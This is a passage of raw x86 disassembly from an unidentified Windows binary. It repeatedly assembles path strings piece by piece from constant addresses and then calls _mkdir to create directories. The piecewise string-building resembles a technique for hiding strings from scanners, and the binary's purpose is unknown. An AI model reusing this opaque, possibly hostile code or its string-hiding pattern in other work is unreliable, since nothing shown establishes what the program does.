mov dword [esp + 0x2428], 0xf
mov dword [esp + 0x2424], ebx
mov byte [esp + 0x2414], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0xc6
mov eax, 0x4114d8
lea esi, [esp + 0x2430]
mov dword [esp + 0x2444], 0xf
mov dword [esp + 0x2440], ebx
mov byte [esp + 0x2430], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0xc7
mov eax, 0x4114c4
lea esi, [esp + 0x244c]
mov dword [esp + 0x2460], 0xf
mov dword [esp + 0x245c], ebx
mov byte [esp + 0x244c], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0xc8
mov eax, 0x4114b4
lea esi, [esp + 0x2468]
mov dword [esp + 0x247c], 0xf
mov dword [esp + 0x2478], ebx
mov byte [esp + 0x2468], bl
call fcn.0040bf10
mov eax, 0x4114dc
lea ecx, [esp + 0x2484]
mov byte [esp + 0x6f38], 0xc9
call fcn.0040a860
mov eax, 0x4114a4
lea ecx, [esp + 0x24a0]
mov byte [esp + 0x6f38], 0xca
call fcn.0040a860
mov eax, 0x4114dc
lea ecx, [esp + 0x24bc]
mov byte [esp + 0x6f38], 0xcb
call fcn.0040a860
mov eax, 0x411248
lea ecx, [esp + 0x24d8]
mov byte [esp + 0x6f38], 0xcc
call fcn.0040a860
mov eax, 0x411248
lea ecx, [esp + 0x24f4]
mov byte [esp + 0x6f38], 0xcd
call fcn.0040a860
mov eax, 0x4114d0
lea ecx, [esp + 0x2510]
mov byte [esp + 0x6f38], 0xce
call fcn.0040a860
mov eax, 0x4114d0
lea ecx, [esp + 0x252c]
mov byte [esp + 0x6f38], 0xcf
call fcn.0040a860
mov eax, 0x4114e0
lea ecx, [esp + 0x2548]
mov byte [esp + 0x6f38], 0xd0
call fcn.0040a860
mov eax, 0x4114e4
lea ecx, [esp + 0x2564]
mov byte [esp + 0x6f38], 0xd1
call fcn.0040a860
mov eax, 0x4114a0
lea ecx, [esp + 0x2580]
mov byte [esp + 0x6f38], 0xd2
call fcn.0040a860
mov eax, 0x4114d8
lea ecx, [esp + 0x259c]
mov byte [esp + 0x6f38], 0xd3
call fcn.0040a860
mov eax, 0x4114c0
lea ecx, [esp + 0x25b8]
mov byte [esp + 0x6f38], 0xd4
call fcn.0040a860
mov eax, 0x4114c0
lea ecx, [esp + 0x25d4]
mov byte [esp + 0x6f38], 0xd5
call fcn.0040a860
mov eax, 0x4114cc
lea ecx, [esp + 0x25f0]
mov byte [esp + 0x6f38], 0xd6
call fcn.0040a860
mov eax, 0x4114e8
lea ecx, [esp + 0x260c]
mov byte [esp + 0x6f38], 0xd7
call fcn.0040a860
mov eax, 0x4114ac
lea ecx, [esp + 0x2628]
mov byte [esp + 0x6f38], 0xd8
call fcn.0040a860
mov eax, 0x4114ec
lea ecx, [esp + 0x2644]
mov byte [esp + 0x6f38], 0xd9
call fcn.0040a860
mov eax, 0x4114d8
lea ecx, [esp + 0x2660]
mov byte [esp + 0x6f38], 0xda
call fcn.0040a860
mov eax, 0x4114b8
lea ecx, [esp + 0x267c]
mov byte [esp + 0x6f38], 0xdb
call fcn.0040a860
mov eax, 0x4114d8
lea ecx, [esp + 0x2698]
mov byte [esp + 0x6f38], 0xdc
call fcn.0040a860
mov eax, 0x4114ac
lea ecx, [esp + 0x26b4]
mov byte [esp + 0x6f38], 0xdd
call fcn.0040a860
mov eax, 0x4114f0
lea ecx, [esp + 0x26d0]
mov byte [esp + 0x6f38], 0xde
call fcn.0040a860
mov eax, 0x4114dc
lea ecx, [esp + 0x26ec]
mov byte [esp + 0x6f38], 0xdf
call fcn.0040a860
mov eax, 0x4114b8
lea ecx, [esp + 0x2708]
mov byte [esp + 0x6f38], 0xe0
call fcn.0040a860
mov eax, 0x4114ac
lea ecx, [esp + 0x2724]
mov byte [esp + 0x6f38], 0xe1
call fcn.0040a860
mov eax, 0x4114ac
lea ecx, [esp + 0x2740]
mov byte [esp + 0x6f38], 0xe2
call fcn.0040a860
mov eax, 0x4114f0
lea ecx, [esp + 0x275c]
mov byte [esp + 0x6f38], 0xe3
call fcn.0040a860
mov eax, 0x4114c4
lea ecx, [esp + 0x2778]
mov byte [esp + 0x6f38], 0xe4
call fcn.0040a860
mov eax, 0x4114b8
lea ecx, [esp + 0x2794]
mov byte [esp + 0x6f38], 0xe5
call fcn.0040a860
mov eax, 0x4114f4
lea ecx, [esp + 0x27b0]
mov byte [esp + 0x6f38], 0xe6
call fcn.0040a860
mov eax, 0x4114f0
lea ecx, [esp + 0x27cc]
mov byte [esp + 0x6f38], 0xe7
call fcn.0040a860
mov eax, 0x4114e8
lea ecx, [esp + 0x27e8]
mov byte [esp + 0x6f38], 0xe8
call fcn.0040a860
mov byte [esp + 0x6f38], 0xe9
mov eax, 0x4114ec
lea ecx, [esp + 0x2804]
call fcn.0040a860
mov eax, 0x4114b8
lea ecx, [esp + 0x2820]
mov byte [esp + 0x6f38], 0xea
call fcn.0040a860
mov eax, 0x4114b0
lea ecx, [esp + 0x283c]
mov byte [esp + 0x6f38], 0xeb
call fcn.0040a860
mov eax, 0x4114b0
lea ecx, [esp + 0x2858]
mov byte [esp + 0x6f38], 0xec
call fcn.0040a860
mov eax, 0x411484
lea ecx, [esp + 0x2874]
mov byte [esp + 0x6f38], 0xed
call fcn.0040a860
mov eax, 0x4114b0
lea ecx, [esp + 0x2890]
mov byte [esp + 0x6f38], 0xee
call fcn.0040a860
mov eax, 0x4114c4
lea ecx, [esp + 0x28ac]
mov byte [esp + 0x6f38], 0xef
call fcn.0040a860
mov eax, 0x4114ec
lea ecx, [esp + 0x28c8]
mov byte [esp + 0x6f38], 0xf0
call fcn.0040a860
mov eax, 0x4114c8
lea ecx, [esp + 0x28e4]
mov byte [esp + 0x6f38], 0xf1
call fcn.0040a860
mov eax, 0x4114b0
lea ecx, [esp + 0x2900]
mov byte [esp + 0x6f38], 0xf2
call fcn.0040a860
mov eax, 0x4114f4
lea ecx, [esp + 0x291c]
mov byte [esp + 0x6f38], 0xf3
call fcn.0040a860
mov eax, 0x4114cc
lea ecx, [esp + 0x2938]
mov byte [esp + 0x6f38], 0xf4
call fcn.0040a860
mov eax, 0x4114ec
lea ecx, [esp + 0x2954]
mov byte [esp + 0x6f38], 0xf5
call fcn.0040a860
mov eax, 0x4114b0
lea ecx, [esp + 0x2970]
mov byte [esp + 0x6f38], 0xf6
call fcn.0040a860
mov eax, 0x4114e0
lea ecx, [esp + 0x298c]
mov byte [esp + 0x6f38], 0xf7
call fcn.0040a860
mov eax, 0x41149c
lea ecx, [esp + 0x29a8]
mov byte [esp + 0x6f38], 0xf8
call fcn.0040a860
mov eax, dword [esp + 0x20]
mov byte [esp + 0x6f38], 0xf9
lea ecx, [esp + 0x9dc]
call fcn.0040a860
mov byte [esp + 0x6f38], 0xfa
lea esi, [esp + 0x213c]
mov dword [esp + 0x14], 0x4e
push ebx
push esi
or eax, 0xffffffff
lea edi, [esp + 0x9e4]
call fcn.0040bd80
add esi, 0x1c
dec dword [esp + 0x14]
jne 0x404774
cmp dword [esp + 0x9f0], 0x10
mov eax, dword [esp + 0x9dc]
jae 0x4047a1
mov eax, edi
push eax
mov dword [esp + 0x58], eax
call dword [sym.imp.MSVCR100.dll__mkdir]
add esp, 4
mov eax, 0x4114a0
lea ecx, [esp + 0x527c]
call fcn.0040a860
mov eax, 0x4114a4
lea ecx, [esp + 0x5298]
mov byte [esp + 0x6f38], 0xfb
call fcn.0040a860
mov eax, 0x4114a8
lea ecx, [esp + 0x52b4]
mov byte [esp + 0x6f38], 0xfc
call fcn.0040a860
mov eax, 0x4114a4
lea ecx, [esp + 0x52d0]
mov byte [esp + 0x6f38], 0xfd
call fcn.0040a860
mov eax, 0x4114f8
lea ecx, [esp + 0x52ec]
mov byte [esp + 0x6f38], 0xfe
call fcn.0040a860
mov eax, 0x4114b0
lea ecx, [esp + 0x5308]
mov byte [esp + 0x6f38], 0xff
call fcn.0040a860
mov eax, 0x4114b4
lea ecx, [esp + 0x5324]
mov dword [esp + 0x6f38], 0x100
call fcn.0040a860
mov eax, 0x4114a8
lea ecx, [esp + 0x5340]
mov byte [esp + 0x6f38], 1
call fcn.0040a860
mov eax, 0x4114b4
lea ecx, [esp + 0x535c]
mov byte [esp + 0x6f38], 2
call fcn.0040a860
mov eax, 0x4114b8
lea ecx, [esp + 0x5378]
mov byte [esp + 0x6f38], 3
call fcn.0040a860
mov eax, 0x4114bc
lea ecx, [esp + 0x5394]
mov byte [esp + 0x6f38], 4
call fcn.0040a860
mov eax, 0x4114c0
lea ecx, [esp + 0x53b0]
mov byte [esp + 0x6f38], 5
call fcn.0040a860
mov eax, 0x4114c0
lea ecx, [esp + 0x53cc]
mov byte [esp + 0x6f38], 6
call fcn.0040a860
mov eax, 0x4114a8
lea ecx, [esp + 0x53e8]
mov byte [esp + 0x6f38], 7
call fcn.0040a860
mov eax, 0x4114b8
lea ecx, [esp + 0x5404]
mov byte [esp + 0x6f38], 8
call fcn.0040a860
mov byte [esp + 0x6f38], 9
mov eax, 0x4114c4
lea ecx, [esp + 0x5420]
call fcn.0040a860
mov eax, 0x411480
lea ecx, [esp + 0x543c]
mov byte [esp + 0x6f38], 0xa
call fcn.0040a860
mov eax, 0x4114b0
lea ecx, [esp + 0x5458]
mov byte [esp + 0x6f38], 0xb
call fcn.0040a860
mov eax, 0x4114c8
lea ecx, [esp + 0x5474]
mov byte [esp + 0x6f38], 0xc
call fcn.0040a860
mov eax, 0x4114b8
lea ecx, [esp + 0x5490]
mov byte [esp + 0x6f38], 0xd
call fcn.0040a860
mov eax, 0x4114cc
lea ecx, [esp + 0x54ac]
mov byte [esp + 0x6f38], 0xe
call fcn.0040a860
mov eax, 0x4114bc
lea ecx, [esp + 0x54c8]
mov byte [esp + 0x6f38], 0xf
call fcn.0040a860
mov eax, 0x4114d0
lea ecx, [esp + 0x54e4]
mov byte [esp + 0x6f38], 0x10
call fcn.0040a860
mov eax, 0x4114ac
lea ecx, [esp + 0x5500]
mov byte [esp + 0x6f38], 0x11
call fcn.0040a860
mov eax, 0x4114b8
lea ecx, [esp + 0x551c]
mov byte [esp + 0x6f38], 0x12
call fcn.0040a860
mov eax, 0x4114cc
lea ecx, [esp + 0x5538]
mov byte [esp + 0x6f38], 0x13
call fcn.0040a860
mov eax, 0x4114d4
lea ecx, [esp + 0x5554]
mov byte [esp + 0x6f38], 0x14
call fcn.0040a860
mov eax, 0x4114d8
lea ecx, [esp + 0x5570]
mov byte [esp + 0x6f38], 0x15
call fcn.0040a860
mov eax, 0x4114c4
lea ecx, [esp + 0x558c]
mov byte [esp + 0x6f38], 0x16
call fcn.0040a860
mov eax, 0x4114b4
lea ecx, [esp + 0x55a8]
mov byte [esp + 0x6f38], 0x17
call fcn.0040a860
mov eax, 0x4114dc
lea ecx, [esp + 0x55c4]
mov byte [esp + 0x6f38], 0x18
call fcn.0040a860
mov eax, 0x4114a4
lea ecx, [esp + 0x55e0]
mov byte [esp + 0x6f38], 0x19
call fcn.0040a860
mov eax, 0x4114dc
lea ecx, [esp + 0x55fc]
mov byte [esp + 0x6f38], 0x1a
call fcn.0040a860
mov eax, 0x411248
lea ecx, [esp + 0x5618]
mov byte [esp + 0x6f38], 0x1b
call fcn.0040a860
mov eax, 0x411248
lea ecx, [esp + 0x5634]
mov byte [esp + 0x6f38], 0x1c
call fcn.0040a860
mov eax, 0x4114d0
lea ecx, [esp + 0x5650]
mov byte [esp + 0x6f38], 0x1d
call fcn.0040a860
mov eax, 0x4114d0
lea ecx, [esp + 0x566c]
mov byte [esp + 0x6f38], 0x1e
call fcn.0040a860
mov eax, 0x4114e0
lea ecx, [esp + 0x5688]
mov byte [esp + 0x6f38], 0x1f
call fcn.0040a860
mov eax, 0x4114e4
lea ecx, [esp + 0x56a4]
mov byte [esp + 0x6f38], 0x20
call fcn.0040a860
mov eax, 0x4114a0
lea ecx, [esp + 0x56c0]
mov byte [esp + 0x6f38], 0x21
call fcn.0040a860
mov eax, 0x4114d8
lea ecx, [esp + 0x56dc]
mov byte [esp + 0x6f38], 0x22
call fcn.0040a860
mov eax, 0x4114c0
lea ecx, [esp + 0x56f8]
mov byte [esp + 0x6f38], 0x23
call fcn.0040a860
mov eax, 0x4114c0
lea ecx, [esp + 0x5714]
mov byte [esp + 0x6f38], 0x24
call fcn.0040a860
mov eax, 0x4114cc
lea ecx, [esp + 0x5730]
mov byte [esp + 0x6f38], 0x25
call fcn.0040a860
mov eax, 0x4114e8
lea ecx, [esp + 0x574c]
mov byte [esp + 0x6f38], 0x26
call fcn.0040a860
mov eax, 0x4114ac
lea ecx, [esp + 0x5768]
mov byte [esp + 0x6f38], 0x27
call fcn.0040a860
mov eax, 0x4114ec
lea ecx, [esp + 0x5784]
mov byte [esp + 0x6f38], 0x28
call fcn.0040a860
mov eax, 0x4114d8
lea ecx, [esp + 0x57a0]
mov byte [esp + 0x6f38], 0x29
call fcn.0040a860
mov eax, 0x4114b8
lea ecx, [esp + 0x57bc]
mov byte [esp + 0x6f38], 0x2a
call fcn.0040a860
mov eax, 0x4114d8
lea ecx, [esp + 0x57d8]
mov byte [esp + 0x6f38], 0x2b
call fcn.0040a860
mov eax, 0x4114ac
lea ecx, [esp + 0x57f4]
mov byte [esp + 0x6f38], 0x2c
call fcn.0040a860
mov eax, 0x4114f0
lea ecx, [esp + 0x5810]
mov byte [esp + 0x6f38], 0x2d
call fcn.0040a860
mov eax, 0x4114dc
lea ecx, [esp + 0x582c]
mov byte [esp + 0x6f38], 0x2e
call fcn.0040a860
mov eax, 0x4114b8
lea ecx, [esp + 0x5848]
mov byte [esp + 0x6f38], 0x2f
call fcn.0040a860
mov eax, 0x4114ac
lea ecx, [esp + 0x5864]
mov byte [esp + 0x6f38], 0x30
call fcn.0040a860
mov eax, 0x4114ac
lea ecx, [esp + 0x5880]
mov byte [esp + 0x6f38], 0x31
call fcn.0040a860
mov eax, 0x4114f0
lea ecx, [esp + 0x589c]
mov byte [esp + 0x6f38], 0x32
call fcn.0040a860
mov eax, 0x4114c4
lea ecx, [esp + 0x58b8]
mov byte [esp + 0x6f38], 0x33
call fcn.0040a860
mov eax, 0x4114b8
lea ecx, [esp + 0x58d4]
mov byte [esp + 0x6f38], 0x34
call fcn.0040a860
mov eax, 0x4114f4
lea ecx, [esp + 0x58f0]
mov byte [esp + 0x6f38], 0x35
call fcn.0040a860
mov eax, 0x4114f0
lea ecx, [esp + 0x590c]
mov byte [esp + 0x6f38], 0x36
call fcn.0040a860
mov eax, 0x4114e8
lea ecx, [esp + 0x5928]
mov byte [esp + 0x6f38], 0x37
call fcn.0040a860
mov eax, 0x4114ec
lea ecx, [esp + 0x5944]
mov byte [esp + 0x6f38], 0x38
call fcn.0040a860
mov eax, 0x4114b8
lea ecx, [esp + 0x5960]
mov byte [esp + 0x6f38], 0x39
call fcn.0040a860
mov byte [esp + 0x6f38], 0x3a
mov eax, 0x4114b0
lea ecx, [esp + 0x597c]
call fcn.0040a860
mov eax, 0x4114b0
lea ecx, [esp + 0x5998]
mov byte [esp + 0x6f38], 0x3b
call fcn.0040a860
mov eax, 0x411484
lea ecx, [esp + 0x59b4]
mov byte [esp + 0x6f38], 0x3c
call fcn.0040a860
mov eax, 0x4114b0
lea ecx, [esp + 0x59d0]
mov byte [esp + 0x6f38], 0x3d
call fcn.0040a860
mov eax, 0x4114c4
lea ecx, [esp + 0x59ec]
mov byte [esp + 0x6f38], 0x3e
call fcn.0040a860
mov eax, 0x4114ec
lea ecx, [esp + 0x5a08]
mov byte [esp + 0x6f38], 0x3f
call fcn.0040a860
mov eax, 0x4114c8
lea ecx, [esp + 0x5a24]
mov byte [esp + 0x6f38], 0x40
call fcn.0040a860
mov eax, 0x4114b0
lea ecx, [esp + 0x5a40]
mov byte [esp + 0x6f38], 0x41
call fcn.0040a860
mov eax, 0x4114f4
lea ecx, [esp + 0x5a5c]
mov byte [esp + 0x6f38], 0x42
call fcn.0040a860
mov eax, 0x4114cc
lea ecx, [esp + 0x5a78]
mov byte [esp + 0x6f38], 0x43
call fcn.0040a860
mov eax, 0x4114ec
lea ecx, [esp + 0x5a94]
mov byte [esp + 0x6f38], 0x44
call fcn.0040a860
mov eax, 0x4114b0
lea ecx, [esp + 0x5ab0]
mov byte [esp + 0x6f38], 0x45
call fcn.0040a860
mov eax, 0x4114e0
lea ecx, [esp + 0x5acc]
mov byte [esp + 0x6f38], 0x46
call fcn.0040a860
mov eax, 0x41149c
lea ecx, [esp + 0x5ae8]
mov byte [esp + 0x6f38], 0x47
call fcn.0040a860
mov esi, dword [esp + 0x20]
mov eax, esi
lea ecx, [esp + 0x9a4]
mov dword [esp + 0x6f38], 0x148
call fcn.0040a860
lea edx, [esp + 0x527c]
mov byte [esp + 0x6f38], 0x49
mov dword [esp + 0x1c], edx
mov dword [esp + 0x14], 0x4e
mov eax, dword [esp + 0x1c]
push ebx
push eax
or eax, 0xffffffff
lea edi, [esp + 0x9ac]
call fcn.0040bd80
add dword [esp + 0x1c], 0x1c
dec dword [esp + 0x14]
jne 0x404f80
cmp dword [esp + 0x9b8], 0x10
mov eax, dword [esp + 0x9a4]
jae 0x404fb3
mov eax, edi
push eax
mov dword [esp + 0x50], eax
call dword [sym.imp.MSVCR100.dll__mkdir]
add esp, 4
mov eax, 0x4114a0
lea ecx, [esp + 0x638c]
call fcn.0040a860
mov eax, 0x4114a4
lea ecx, [esp + 0x63a8]
mov byte [esp + 0x6f38], 0x4a
call fcn.0040a860
mov eax, 0x4114a8
lea ecx, [esp + 0x63c4]
mov byte [esp + 0x6f38], 0x4b
call fcn.0040a860
mov eax, 0x4114a4
lea ecx, [esp + 0x63e0]
mov byte [esp + 0x6f38], 0x4c
call fcn.0040a860
mov eax, 0x4114f8
lea ecx, [esp + 0x63fc]
mov byte [esp + 0x6f38], 0x4d
call fcn.0040a860
mov eax, 0x4114b0
lea ecx, [esp + 0x6418]
mov byte [esp + 0x6f38], 0x4e
call fcn.0040a860
mov eax, 0x4114b4
lea ecx, [esp + 0x6434]
mov byte [esp + 0x6f38], 0x4f
call fcn.0040a860
mov eax, 0x4114a8
lea ecx, [esp + 0x6450]
mov byte [esp + 0x6f38], 0x50
call fcn.0040a860
mov eax, 0x4114b4
lea ecx, [esp + 0x646c]
mov byte [esp + 0x6f38], 0x51
call fcn.0040a860
mov eax, 0x4114b8
lea ecx, [esp + 0x6488]
mov byte [esp + 0x6f38], 0x52
call fcn.0040a860
mov eax, 0x4114bc
lea ecx, [esp + 0x64a4]
mov byte [esp + 0x6f38], 0x53
call fcn.0040a860
mov eax, 0x4114c0
lea ecx, [esp + 0x64c0]
mov byte [esp + 0x6f38], 0x54
call fcn.0040a860
mov eax, 0x4114c0
lea ecx, [esp + 0x64dc]
mov byte [esp + 0x6f38], 0x55
call fcn.0040a860
mov eax, 0x4114a8
lea ecx, [esp + 0x64f8]
mov byte [esp + 0x6f38], 0x56
call fcn.0040a860
mov eax, 0x4114b8
lea ecx, [esp + 0x6514]
mov byte [esp + 0x6f38], 0x57
call fcn.0040a860
mov byte [esp + 0x6f38], 0x58
mov eax, 0x4114c4
lea ecx, [esp + 0x6530]
call fcn.0040a860
mov eax, 0x411480
lea ecx, [esp + 0x654c]
mov byte [esp + 0x6f38], 0x59
call fcn.0040a860
mov eax, 0x4114b0
lea ecx, [esp + 0x6568]
mov byte [esp + 0x6f38], 0x5a
call fcn.0040a860
mov eax, 0x4114c8
lea ecx, [esp + 0x6584]
mov byte [esp + 0x6f38], 0x5b
call fcn.0040a860
mov eax, 0x4114b8
lea ecx, [esp + 0x65a0]
mov byte [esp + 0x6f38], 0x5c
call fcn.0040a860
mov eax, 0x4114cc
lea ecx, [esp + 0x65bc]
mov byte [esp + 0x6f38], 0x5d
call fcn.0040a860
mov eax, 0x4114bc
lea ecx, [esp + 0x65d8]
mov byte [esp + 0x6f38], 0x5e
call fcn.0040a860
mov eax, 0x4114d4
lea ecx, [esp + 0x65f4]
mov byte [esp + 0x6f38], 0x5f
call fcn.0040a860
mov eax, 0x4114f8
lea ecx, [esp + 0x6610]
mov byte [esp + 0x6f38], 0x60
call fcn.0040a860
mov eax, 0x4114b8
lea ecx, [esp + 0x662c]
mov byte [esp + 0x6f38], 0x61
call fcn.0040a860
mov eax, 0x4114cc
lea ecx, [esp + 0x6648]
mov byte [esp + 0x6f38], 0x62
call fcn.0040a860
mov eax, 0x4114d4
lea ecx, [esp + 0x6664]
mov byte [esp + 0x6f38], 0x63
call fcn.0040a860
mov eax, 0x4114d8
lea ecx, [esp + 0x6680]
mov byte [esp + 0x6f38], 0x64
call fcn.0040a860
mov eax, 0x4114c4
lea ecx, [esp + 0x669c]
mov byte [esp + 0x6f38], 0x65
call fcn.0040a860
mov eax, 0x4114b4
lea ecx, [esp + 0x66b8]
mov byte [esp + 0x6f38], 0x66
call fcn.0040a860
mov eax, 0x4114dc
lea ecx, [esp + 0x66d4]
mov byte [esp + 0x6f38], 0x67
call fcn.0040a860
mov eax, 0x4114a4
lea ecx, [esp + 0x66f0]
mov byte [esp + 0x6f38], 0x68
call fcn.0040a860
mov eax, 0x4114dc
lea ecx, [esp + 0x670c]
mov byte [esp + 0x6f38], 0x69
call fcn.0040a860
mov eax, 0x411248
lea ecx, [esp + 0x6728]
mov byte [esp + 0x6f38], 0x6a
call fcn.0040a860
mov eax, 0x411248
lea ecx, [esp + 0x6744]
mov byte [esp + 0x6f38], 0x6b
call fcn.0040a860
mov eax, 0x4114d0
lea ecx, [esp + 0x6760]
mov byte [esp + 0x6f38], 0x6c
call fcn.0040a860
mov eax, 0x4114d0
lea ecx, [esp + 0x677c]
mov byte [esp + 0x6f38], 0x6d
call fcn.0040a860
mov eax, 0x4114e0
lea ecx, [esp + 0x6798]
mov byte [esp + 0x6f38], 0x6e
call fcn.0040a860
mov eax, 0x4114e4
lea ecx, [esp + 0x67b4]
mov byte [esp + 0x6f38], 0x6f
call fcn.0040a860
mov eax, 0x4114a0
lea ecx, [esp + 0x67d0]
mov byte [esp + 0x6f38], 0x70
call fcn.0040a860
mov eax, 0x4114d8
lea ecx, [esp + 0x67ec]
mov byte [esp + 0x6f38], 0x71
call fcn.0040a860
mov eax, 0x4114c0
lea ecx, [esp + 0x6808]
mov byte [esp + 0x6f38], 0x72
call fcn.0040a860
mov eax, 0x4114c0
lea ecx, [esp + 0x6824]
mov byte [esp + 0x6f38], 0x73
call fcn.0040a860
mov eax, 0x4114cc
lea ecx, [esp + 0x6840]
mov byte [esp + 0x6f38], 0x74
call fcn.0040a860
mov eax, 0x4114e8
lea ecx, [esp + 0x685c]
mov byte [esp + 0x6f38], 0x75
call fcn.0040a860
mov eax, 0x4114ac
lea ecx, [esp + 0x6878]
mov byte [esp + 0x6f38], 0x76
call fcn.0040a860
mov eax, 0x4114ec
lea ecx, [esp + 0x6894]
mov byte [esp + 0x6f38], 0x77
call fcn.0040a860
mov eax, 0x4114d8
lea ecx, [esp + 0x68b0]
mov byte [esp + 0x6f38], 0x78
call fcn.0040a860
mov eax, 0x4114b8
lea ecx, [esp + 0x68cc]
mov byte [esp + 0x6f38], 0x79
call fcn.0040a860
mov eax, 0x4114d8
lea ecx, [esp + 0x68e8]
mov byte [esp + 0x6f38], 0x7a
call fcn.0040a860
mov eax, 0x4114ac
lea ecx, [esp + 0x6904]
mov byte [esp + 0x6f38], 0x7b
call fcn.0040a860
mov eax, 0x4114f0
lea ecx, [esp + 0x6920]
mov byte [esp + 0x6f38], 0x7c
call fcn.0040a860
mov eax, 0x4114dc
lea ecx, [esp + 0x693c]
mov byte [esp + 0x6f38], 0x7d
call fcn.0040a860
mov eax, 0x4114b8
lea ecx, [esp + 0x6958]
mov byte [esp + 0x6f38], 0x7e
call fcn.0040a860
mov eax, 0x4114ac
lea ecx, [esp + 0x6974]
mov byte [esp + 0x6f38], 0x7f
call fcn.0040a860
mov eax, 0x4114ac
lea ecx, [esp + 0x6990]
mov byte [esp + 0x6f38], 0x80
call fcn.0040a860
mov eax, 0x4114f0
lea ecx, [esp + 0x69ac]
mov byte [esp + 0x6f38], 0x81
call fcn.0040a860
mov eax, 0x4114c4
lea ecx, [esp + 0x69c8]
mov byte [esp + 0x6f38], 0x82
call fcn.0040a860
mov eax, 0x4114b8
lea ecx, [esp + 0x69e4]
mov byte [esp + 0x6f38], 0x83
call fcn.0040a860
mov eax, 0x4114f4
lea ecx, [esp + 0x6a00]
mov byte [esp + 0x6f38], 0x84
call fcn.0040a860
mov eax, 0x4114f0
lea ecx, [esp + 0x6a1c]
mov byte [esp + 0x6f38], 0x85
call fcn.0040a860
mov eax, 0x4114e8
lea ecx, [esp + 0x6a38]
mov byte [esp + 0x6f38], 0x86
call fcn.0040a860
mov eax, 0x4114ec
lea ecx, [esp + 0x6a54]
mov byte [esp + 0x6f38], 0x87
call fcn.0040a860
mov eax, 0x4114b8
lea ecx, [esp + 0x6a70]
mov byte [esp + 0x6f38], 0x88
call fcn.0040a860
mov byte [esp + 0x6f38], 0x89
mov eax, 0x4114b0
lea ecx, [esp + 0x6a8c]
call fcn.0040a860
mov eax, 0x4114b0
lea ecx, [esp + 0x6aa8]
mov byte [esp + 0x6f38], 0x8a
call fcn.0040a860
mov eax, 0x411484
lea ecx, [esp + 0x6ac4]
mov byte [esp + 0x6f38], 0x8b
call fcn.0040a860
mov eax, 0x4114b0
lea ecx, [esp + 0x6ae0]
mov byte [esp + 0x6f38], 0x8c
call fcn.0040a860
mov eax, 0x4114c4
lea ecx, [esp + 0x6afc]
mov byte [esp + 0x6f38], 0x8d
call fcn.0040a860
mov eax, 0x4114ec
lea ecx, [esp + 0x6b18]
mov byte [esp + 0x6f38], 0x8e
call fcn.0040a860
mov eax, 0x4114c8
lea ecx, [esp + 0x6b34]
mov byte [esp + 0x6f38], 0x8f
call fcn.0040a860
mov eax, 0x4114b0
lea ecx, [esp + 0x6b50]
mov byte [esp + 0x6f38], 0x90
call fcn.0040a860
mov eax, 0x4114f4
lea ecx, [esp + 0x6b6c]
mov byte [esp + 0x6f38], 0x91
call fcn.0040a860
mov eax, 0x4114cc
lea ecx, [esp + 0x6b88]
mov byte [esp + 0x6f38], 0x92
call fcn.0040a860
mov eax, 0x4114ec
lea ecx, [esp + 0x6ba4]
mov byte [esp + 0x6f38], 0x93
call fcn.0040a860
mov eax, 0x4114b0
lea ecx, [esp + 0x6bc0]
mov byte [esp + 0x6f38], 0x94
call fcn.0040a860
mov eax, 0x4114e0
lea ecx, [esp + 0x6bdc]
mov byte [esp + 0x6f38], 0x95
call fcn.0040a860
mov eax, 0x41149c
lea ecx, [esp + 0x6bf8]
mov byte [esp + 0x6f38], 0x96
call fcn.0040a860
mov eax, esi
lea ecx, [esp + 0x96c]
mov byte [esp + 0x6f38], 0x97
call fcn.0040a860
lea ecx, [esp + 0x638c]
mov byte [esp + 0x6f38], 0x98
mov dword [esp + 0x1c], ecx
mov dword [esp + 0x14], 0x4e
mov edx, dword [esp + 0x1c]
push ebx
push edx
or eax, 0xffffffff
lea edi, [esp + 0x974]
call fcn.0040bd80
add dword [esp + 0x1c], 0x1c
dec dword [esp + 0x14]
jne 0x405788
cmp dword [esp + 0x980], 0x10
mov eax, dword [esp + 0x96c]
jae 0x4057bb
mov eax, edi
push eax
mov dword [esp + 0x54], eax
call dword [sym.imp.MSVCR100.dll__mkdir]
add esp, 4
mov eax, 0x4114a0
lea ecx, [esp + 0x5b04]
call fcn.0040a860
mov eax, 0x4114a4
lea ecx, [esp + 0x5b20]
mov byte [esp + 0x6f38], 0x99
call fcn.0040a860
mov eax, 0x4114a8
lea ecx, [esp + 0x5b3c]
mov byte [esp + 0x6f38], 0x9a
call fcn.0040a860
mov eax, 0x4114a4
lea ecx, [esp + 0x5b58]
mov byte [esp + 0x6f38], 0x9b
call fcn.0040a860
mov eax, 0x4114ac
lea ecx, [esp + 0x5b74]
mov byte [esp + 0x6f38], 0x9c
call fcn.0040a860
mov eax, 0x4114b0
lea ecx, [esp + 0x5b90]
mov byte [esp + 0x6f38], 0x9d
call fcn.0040a860
mov eax, 0x4114b4
lea ecx, [esp + 0x5bac]
mov byte [esp + 0x6f38], 0x9e
call fcn.0040a860
mov eax, 0x4114a8
lea ecx, [esp + 0x5bc8]
mov byte [esp + 0x6f38], 0x9f
call fcn.0040a860
mov eax, 0x4114b4
lea ecx, [esp + 0x5be4]
mov byte [esp + 0x6f38], 0xa0
call fcn.0040a860
mov eax, 0x4114b8
lea ecx, [esp + 0x5c00]
mov byte [esp + 0x6f38], 0xa1
call fcn.0040a860
mov eax, 0x4114bc
lea ecx, [esp + 0x5c1c]
mov byte [esp + 0x6f38], 0xa2
call fcn.0040a860
mov eax, 0x4114c0
lea ecx, [esp + 0x5c38]
mov byte [esp + 0x6f38], 0xa3
call fcn.0040a860
mov eax, 0x4114c0
lea ecx, [esp + 0x5c54]
mov byte [esp + 0x6f38], 0xa4
call fcn.0040a860
mov eax, 0x4114a8
lea ecx, [esp + 0x5c70]
mov byte [esp + 0x6f38], 0xa5
call fcn.0040a860
mov eax, 0x4114b8
lea ecx, [esp + 0x5c8c]
mov byte [esp + 0x6f38], 0xa6
call fcn.0040a860
mov byte [esp + 0x6f38], 0xa7
mov eax, 0x4114c4
lea ecx, [esp + 0x5ca8]
call fcn.0040a860
mov eax, 0x411480
lea ecx, [esp + 0x5cc4]
mov byte [esp + 0x6f38], 0xa8
call fcn.0040a860
mov eax, 0x4114b0
lea ecx, [esp + 0x5ce0]
mov byte [esp + 0x6f38], 0xa9
call fcn.0040a860
mov eax, 0x4114c8
lea ecx, [esp + 0x5cfc]
mov byte [esp + 0x6f38], 0xaa
call fcn.0040a860
mov eax, 0x4114b8
lea ecx, [esp + 0x5d18]
